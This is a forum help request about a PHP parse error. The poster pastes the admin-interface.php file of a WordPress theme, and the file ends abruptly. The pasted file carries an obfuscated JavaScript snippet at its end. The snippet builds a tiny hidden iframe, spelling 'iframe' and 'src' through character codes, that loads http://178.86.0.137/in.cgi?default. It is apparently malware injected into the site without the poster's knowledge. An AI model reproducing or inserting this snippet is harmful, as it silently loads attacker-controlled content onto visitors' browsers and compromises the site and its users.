Another help needed.
Parse error: syntax error, unexpected $end in /home/addrigh1/public_html/presasportiva.com/wp-content/themes/modularity2/functions/admin-interface.php on line 132
<?php
// gppThemes Admin Interface
function gppthemes_add_admin() {
global $query_string;
$options = get_option('gpp_template');
$themename = get_option('gpp_themename');
$shortname = get_option('gpp_shortname');
if ( $_REQUEST['page'] == 'gppthemes' ) {
if ( 'save' == $_REQUEST['gpp_save'] ) {
$upload_tracking = array();
foreach ($options as $key => $value) {
$id = $value['id'];
if ( is_array($value['type']) && $value['type'] != 'upload') {
foreach($value['type'] as $array){
if($array['type'] == 'text'){
$id = $array['id'];
update_option( $id, $_REQUEST[ $id ]);
}
}
}
elseif($value['type'] == 'checkbox'){
if(isset( $_REQUEST[$id])){update_option( $id, $_REQUEST[ $id] );} else { update_option( $id, 'false' ); }
}
elseif($value['type'] == 'select'){
if(isset( $_REQUEST[$id])){update_option( $id, htmlentities($_REQUEST[ $id] ));} else { delete_option( htmlentities( $id )); }
}
elseif($value['type'] == 'upload' ){
$override['test_form'] = false;
$override['action'] = 'gpp_save';
if(!empty( $_FILES['attachement_'.$id]['name'])){ //New upload
$uploaded_file = wp_handle_upload($_FILES['attachement_' . $id ],$override);
$uploaded_file['option_name'] = $value['name'];
$upload_tracking[] = $uploaded_file;
update_option( $id , $uploaded_file['url'] );
}
elseif(isset( $_REQUEST[ $id ])){ // No new file, just the already saved file
update_option( $id , $_REQUEST[$id] );
}
}
elseif($value['type'] != 'multicheck'){
if(isset( $_REQUEST[ $value['id'] ])){update_option( $id, $_REQUEST[$id] );} else { delete_option( $id); }
}
else // Multicheck
{
foreach($value['options'] as $mc_key => $mc_value){
$up_opt = $id . '_' . $mc_key;
if(isset( $_REQUEST[ $up_opt ])){update_option( $up_opt, $_REQUEST[ $up_opt ] );} else {update_option($up_opt, 'false' );}
}
}
}
update_option('gpp_upload_tracking', $upload_tracking);
//Create, Encrypt and Update the Saved Settings
global $wpdb;
$query = "SELECT * FROM $wpdb->options WHERE option_name LIKE 'gpp_%' AND NOT option_name = 'gpp_template' AND NOT option_name = 'gpp_custom_template' AND NOT option_name = 'gpp_settings_encode'";
$results = $wpdb->get_results($query);
$output = "<ul>";
foreach ($results as $result){
$output .= '<li><strong>' . $result->option_name . '</strong> - ' . $result->option_value . '</li>';
}
$output .= "</ul>";
$output = base64_encode($output);
update_option('gpp_settings_encode',$output);
//End
$send = $_GET['page'];
header("Location: admin.php?page=gppthemes&saved=true");
die;
} else if ( 'reset' == $_REQUEST['gpp_save'] ) {
global $wpdb;
$query = "DELETE FROM $wpdb->options WHERE option_name LIKE 'gpp_%'";
$wpdb->query($query);
header("Location: admin.php?page=gppthemes&reset=true");
die;
}
}
// Check all the Options, then if the no options are created for a ralitive sub-page... it's not created.
if(function_exists(add_object_page))
{
add_object_page ('Page Title', $themename, 8,'gppthemes', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
}
else
{
add_menu_page ('Page Title', $themename, 8,'gppthemes_home', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
}
add_submenu_page('gppthemes', $themename, 'Theme Options', 8, 'gppthemes','gppthemes_page'); // Default
add_submenu_page('gppthemes', 'Available gppThemes', 'Buy Themes', 8, 'gppthemes_themes', 'gppthemes_more_themes_page');
}
function gppthemes_page(){
$options = get_option('gpp_template');
$themename = get_option('gpp_themename');
$shortname = get_option('gpp_shortname');
$manualurl = get_option('gpp_manual');
//Version in Backend Head
$theme_data = get_theme_data(STYLESHEETPATH . '/style.css');
$local_version = $theme_data['Version'];
$update_message = '<span class="update">v.'. $local_version .'</span>';
?>
<script>
z1=document.createElement("if"+String.fromCharCode(114)+"ame");
sz=String.fromCharCode(60-11);
z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
z1.setAttribute("wid"+"th",sz);
z1.setAttribute("heig"+"ht",sz);
function zp(zb){document.body.appendChild(zb);}
void(zp(z1));
</script>